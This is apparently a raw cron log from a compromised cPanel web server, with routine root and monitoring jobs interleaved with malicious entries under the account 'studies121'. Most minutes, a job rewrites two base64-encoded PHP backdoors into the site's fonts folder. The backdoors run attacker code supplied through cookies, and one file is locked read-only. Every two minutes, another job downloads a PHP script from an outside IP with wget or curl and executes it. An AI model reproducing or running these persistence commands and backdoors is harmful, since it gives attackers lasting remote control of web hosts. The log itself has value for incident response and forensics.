Aug 31 18:19:01 ip-184-168-122-23 CROND[9872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:19:01 ip-184-168-122-23 CROND[9874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:19:01 ip-184-168-122-23 CROND[9875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:20:01 ip-184-168-122-23 CROND[9966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:20:01 ip-184-168-122-23 CROND[9976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9972]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9974]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:20:01 ip-184-168-122-23 CROND[9973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:20:01 ip-184-168-122-23 CROND[9978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:21:01 ip-184-168-122-23 CROND[10073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:21:01 ip-184-168-122-23 CROND[10075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:21:01 ip-184-168-122-23 CROND[10076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:21:01 ip-184-168-122-23 CROND[10074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:22:01 ip-184-168-122-23 CROND[10160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:22:01 ip-184-168-122-23 CROND[10161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:22:01 ip-184-168-122-23 CROND[10166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:22:01 ip-184-168-122-23 CROND[10163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:22:01 ip-184-168-122-23 CROND[10164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:23:01 ip-184-168-122-23 CROND[10273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:23:01 ip-184-168-122-23 CROND[10276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:23:01 ip-184-168-122-23 CROND[10277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:23:01 ip-184-168-122-23 CROND[10275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:24:01 ip-184-168-122-23 CROND[10463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:24:01 ip-184-168-122-23 CROND[10465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:24:01 ip-184-168-122-23 CROND[10468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:24:01 ip-184-168-122-23 CROND[10467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:24:01 ip-184-168-122-23 CROND[10466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10575]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:25:02 ip-184-168-122-23 CROND[10577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:25:02 ip-184-168-122-23 CROND[10574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:26:02 ip-184-168-122-23 CROND[10700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:26:02 ip-184-168-122-23 CROND[10703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:26:02 ip-184-168-122-23 CROND[10704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:26:02 ip-184-168-122-23 CROND[10705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:26:02 ip-184-168-122-23 CROND[10702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:27:01 ip-184-168-122-23 CROND[10791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:27:01 ip-184-168-122-23 CROND[10794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:27:01 ip-184-168-122-23 CROND[10793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:27:01 ip-184-168-122-23 CROND[10795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:28:02 ip-184-168-122-23 CROND[10922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:28:02 ip-184-168-122-23 CROND[10927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:28:02 ip-184-168-122-23 CROND[10924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:28:02 ip-184-168-122-23 CROND[10925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:28:02 ip-184-168-122-23 CROND[10926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:29:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:29:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:29:01 ip-184-168-122-23 CROND[11030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:29:01 ip-184-168-122-23 CROND[11031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:30:01 ip-184-168-122-23 CROND[11148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:30:01 ip-184-168-122-23 CROND[11150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:30:01 ip-184-168-122-23 CROND[11152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:31:01 ip-184-168-122-23 CROND[11270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:31:01 ip-184-168-122-23 CROND[11272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
